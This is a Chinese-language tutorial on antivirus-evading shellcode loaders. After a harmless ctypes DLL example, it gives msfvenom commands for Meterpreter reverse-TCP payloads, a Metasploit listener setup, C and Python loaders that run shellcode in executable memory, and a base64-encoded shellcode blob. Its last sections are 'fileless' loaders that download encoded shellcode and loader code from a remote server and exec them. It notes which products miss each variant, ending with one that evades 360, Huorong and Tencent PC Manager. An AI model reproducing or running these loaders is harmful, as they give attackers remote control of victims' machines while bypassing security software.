1. ctypes模块调用dll动态链接库并调用函数
首先我们来生成一个简单的dll文件,打开visual studio 2019创建一个动态链接库(dll)项目,可以看到预写入一些代码,我们不用管它,直接加入以下代码:
#include <stdio.h>extern "C" _declspec(dllexport) void TestCtypes() {
printf("hello world!\n");
}
extern “C”:这里由于文件后缀为.cpp,即c++文件,而ctypes只能调用C函数,c和c++ 编译方式又不太一样,如果在编译时把c的代码用c++方式编译,会产生错误。故在c++引入c的库时要加extern “C”
__declspec(dllexport):用在函数声明前,此前缀是用来实现生成dll文件时可以被导出至dll,即提供调用接口
void TestCtypes():定义一个返回为空,名为TestCtypes的函数,该函数是打印hello world!
接下来,点击生成—>生成解决方案即可生成一个.dll文件
那么如何使用python加载dll,并调用里面的函数呢?
from ctypes import *
#加载dll
lib=CDLL('./DLL1')
#调用当前dll中的方法
lib.TestCtypes()
就可以执行里面的函数
2、c语言加载shellcode
shellcode是一段用于利用软件漏洞而执行的代码,格式为16进制的机器码。因为经常让攻击者获得shell而得名。shellcode常常使用底层语言编写,如c/c++,汇编。
注意:shellcode是16进制格式的,字节流的数据,很底层。所以我们需要了解下它的执行过程,分为四步:(1)申请一片内存;(2)将shellcode放到申请的内存当中;(3)创建线程;(4)执行。了解了这个过程,就好理解后面的代码了
2.1我们先用msf生成一段c语言的payload
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.128 lport=8080 -f c
使用c语言加载器,这里寻找了网上公开的加载器代码
#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口
unsigned char buf[] ="shellcode" //定义了一个无符号字符变量buf数组用来存放我们的shellcode
main()//主函数
{
char* Memory; //定义了一个指针变量
Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //申请一块可读写可执行的内存,sizeof()为C语言中计算字节的函数
memcpy(Memory, buf, sizeof(buf)); //将shellcode拷贝到申请的内存当中
((void(*)())Memory)();
//“void (*p)()”什么意思?按照上面的方法,应先读 *,读作p是指针,指向函数(第二对小括号读作“函数”,第 二对小括号内为空,说明这样的函数无参数),继续接着读——函数的返回值为void(即无返回值
//“void (*)()”的含义:它表示一个数据类型,这个数据类型是个函数的指针,所指向的函数无参数无返回值
//(void (*)())Memory 则是把 Memory 转换为这种数据类型,然后取*则调用所指的函数(所以t里保存的内容应该是一个函数的地址啦),最后的()内就是它的参数,由于无参,所以()内为空!
return 0;
}
VirtualAlloc函数作用是用来申请一块内存空间
参数:
LPVOID VirtualAlloc{
LPVOID lpAddress, // 要分配的内存区域的起始地址
DWORD dwSize, // 分配的大小
DWORD flAllocationType, // 分配的类型
DWORD flProtect // 该内存的初始保护属性
};
MEM_COMMIT | MEM_RESERVE 表示为指定地址空间提交物理内存或保留指定地址空间,不分配物理内存
PAGE_EXECUTE_READWRITE 表示可读写可执行
Memcpy() 内存拷贝函数,函数的功能是从源内存地址的起始位置开始拷贝若干个字节到目标内存地址中
语法参数:
void *memcpy(void *destin, void *source, unsigned n);
destin-- 指向用于存储复制内容的目标数组,类型强制转换为 void* 指针。
source-- 指向要复制的数据源,类型强制转换为 void* 指针。
n-- 要被复制的字节数。
将代码编写好,最后点击生成—>生成解决方案,将其编译为exe文件
msf开启监听:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.128
set lport 8080
exploit
执行exe,目标可以上线,但是没有经过免杀处理。
3. python-ctypes模块加载shellcode
msf生成c的shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.128 lport=8080 -f c
编写python加载器
shellcode=b"shellcode"
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
#调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)
#调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
#创建线程并执行shellcode
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
执行完成功上线,可以过360成功上线,火绒查杀
4、shellcode进行base64加密
msf生成后门
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.128 lport=8080 --encrypt base64 -f c
import ctypes
import base64
encode_shellcode='''
\x2f\x45\x69\x44\x35\x50\x44\x6f\x7a\x41\x41\x41\x41\x45
\x46\x52\x51\x56\x42\x53\x55\x56\x5a\x49\x4d\x64\x4a\x6c
\x53\x49\x74\x53\x59\x45\x69\x4c\x55\x68\x68\x49\x69\x31
\x49\x67\x54\x54\x48\x4a\x53\x41\x2b\x33\x53\x6b\x70\x49
\x69\x33\x4a\x51\x53\x44\x48\x41\x72\x44\x78\x68\x66\x41
\x49\x73\x49\x45\x48\x42\x79\x51\x31\x42\x41\x63\x48\x69
\x37\x56\x4a\x49\x69\x31\x49\x67\x51\x56\x47\x4c\x51\x6a
\x78\x49\x41\x64\x42\x6d\x67\x58\x67\x59\x43\x77\x49\x50
\x68\x58\x49\x41\x41\x41\x43\x4c\x67\x49\x67\x41\x41\x41
\x42\x49\x68\x63\x42\x30\x5a\x30\x67\x42\x30\x46\x43\x4c
\x53\x42\x68\x45\x69\x30\x41\x67\x53\x51\x48\x51\x34\x31
\x5a\x4e\x4d\x63\x6c\x49\x2f\x38\x6c\x42\x69\x7a\x53\x49
\x53\x41\x48\x57\x53\x44\x48\x41\x51\x63\x48\x4a\x44\x61
\x78\x42\x41\x63\x45\x34\x34\x48\x58\x78\x54\x41\x4e\x4d
\x4a\x41\x68\x46\x4f\x64\x46\x31\x32\x46\x68\x45\x69\x30
\x41\x6b\x53\x51\x48\x51\x5a\x6b\x47\x4c\x44\x45\x68\x45
\x69\x30\x41\x63\x53\x51\x48\x51\x51\x59\x73\x45\x69\x45
\x67\x42\x30\x45\x46\x59\x51\x56\x68\x65\x57\x56\x70\x42
\x57\x45\x46\x5a\x51\x56\x70\x49\x67\x2b\x77\x67\x51\x56
\x4c\x2f\x34\x46\x68\x42\x57\x56\x70\x49\x69\x78\x4c\x70
\x53\x2f\x2f\x2f\x2f\x31\x31\x4a\x76\x6e\x64\x7a\x4d\x6c
\x38\x7a\x4d\x67\x41\x41\x51\x56\x5a\x4a\x69\x65\x5a\x49
\x67\x65\x79\x67\x41\x51\x41\x41\x53\x59\x6e\x6c\x53\x62
\x77\x43\x41\x42\x2b\x51\x77\x4b\x67\x42\x67\x45\x46\x55
\x53\x59\x6e\x6b\x54\x49\x6e\x78\x51\x62\x70\x4d\x64\x79
\x59\x48\x2f\x39\x56\x4d\x69\x65\x70\x6f\x41\x51\x45\x41
\x41\x46\x6c\x42\x75\x69\x6d\x41\x61\x77\x44\x2f\x31\x57
\x6f\x4b\x51\x56\x35\x51\x55\x45\x30\x78\x79\x55\x30\x78
\x77\x45\x6a\x2f\x77\x45\x69\x4a\x77\x6b\x6a\x2f\x77\x45
\x69\x4a\x77\x55\x47\x36\x36\x67\x2f\x66\x34\x50\x2f\x56
\x53\x49\x6e\x48\x61\x68\x42\x42\x57\x45\x79\x4a\x34\x6b
\x69\x4a\x2b\x55\x47\x36\x6d\x61\x56\x30\x59\x66\x2f\x56
\x68\x63\x42\x30\x43\x6b\x6e\x2f\x7a\x6e\x58\x6c\x36\x4a
\x4d\x41\x41\x41\x42\x49\x67\x2b\x77\x51\x53\x49\x6e\x69
\x54\x54\x48\x4a\x61\x67\x52\x42\x57\x45\x69\x4a\x2b\x55
\x47\x36\x41\x74\x6e\x49\x58\x2f\x2f\x56\x67\x2f\x67\x41
\x66\x6c\x56\x49\x67\x38\x51\x67\x58\x6f\x6e\x32\x61\x6b
\x42\x42\x57\x57\x67\x41\x45\x41\x41\x41\x51\x56\x68\x49
\x69\x66\x4a\x49\x4d\x63\x6c\x42\x75\x6c\x69\x6b\x55\x2b
\x58\x2f\x31\x55\x69\x4a\x77\x30\x6d\x4a\x78\x30\x30\x78
\x79\x55\x6d\x4a\x38\x45\x69\x4a\x32\x6b\x69\x4a\x2b\x55
\x47\x36\x41\x74\x6e\x49\x58\x2f\x2f\x56\x67\x2f\x67\x41
\x66\x53\x68\x59\x51\x56\x64\x5a\x61\x41\x42\x41\x41\x41
\x42\x42\x57\x47\x6f\x41\x57\x6b\x47\x36\x43\x79\x38\x50
\x4d\x50\x2f\x56\x56\x31\x6c\x42\x75\x6e\x56\x75\x54\x57
\x48\x2f\x31\x55\x6e\x2f\x7a\x75\x6b\x38\x2f\x2f\x2f\x2f
\x53\x41\x48\x44\x53\x43\x6e\x47\x53\x49\x58\x32\x64\x62
\x52\x42\x2f\x2b\x64\x59\x61\x67\x42\x5a\x53\x63\x66\x43
\x38\x4c\x57\x69\x56\x76\x2f\x56 '''
shellcode=base64.b64decode(encode_shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
执行完成功上线
打包扫描看看,360不会查杀,火绒会查杀
5、无文件落地技术
将经过编码的shellcode进行去空和换行符后,上传到服务器
在写脚本请求服务器shellcode文件,并执行
import ctypes,base64,requests
encode_shellcode=requests.get("http://x.x.x.x/8080.txt").text
shellcode=base64.b64decode(encode_shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
成功上线,打包进行扫描,360未查杀,其他都查杀
6、shellcode编码无文件落地,执行代码编码
import ctypes
import base64
import requests
encode_shellcode = requests.get("http://120.x.x.x/8080.txt").text
shellcode = base64.b64decode(encode_shellcode)
func = base64.b64decode(b'Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MucmVzdHlwZT1jdHlwZXMuY191aW50NjQKcnd4cGFnZSA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jKDAsIGxlbihzaGVsbGNvZGUpLCAweDMwMDAsIDB4NDApCmN0eXBlcy53aW5kbGwua2VybmVsMzIuUnRsTW92ZU1lbW9yeShjdHlwZXMuY191aW50NjQocnd4cGFnZSksIGN0eXBlcy5jcmVhdGVfc3RyaW5nX2J1ZmZlcihzaGVsbGNvZGUpLCBsZW4oc2hlbGxjb2RlKSkKaGFuZGxlID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5DcmVhdGVUaHJlYWQoMCwgMCwgY3R5cGVzLmNfdWludDY0KHJ3eHBhZ2UpLCAwLCAwLCAwKQpjdHlwZXMud2luZGxsLmtlcm5lbDMyLldhaXRGb3JTaW5nbGVPYmplY3QoaGFuZGxlLCAtMSk=')
exec(func)
运行成功上线,打包扫描看一下,360未查杀,火绒查杀
7、shellcode编码无文件落地,执行代码无落地
import ctypes
import base64
import requests
encode_shellcode = requests.get("http://120.x.x.x/8080.txt").text
shellcode = base64.b64decode(encode_shellcode)
ms = requests.get("http://120.x.x.x/ms.txt").text
func = base64.b64decode(ms)
exec(func)
打包成exe扫描,360,火绒,电脑管家全过。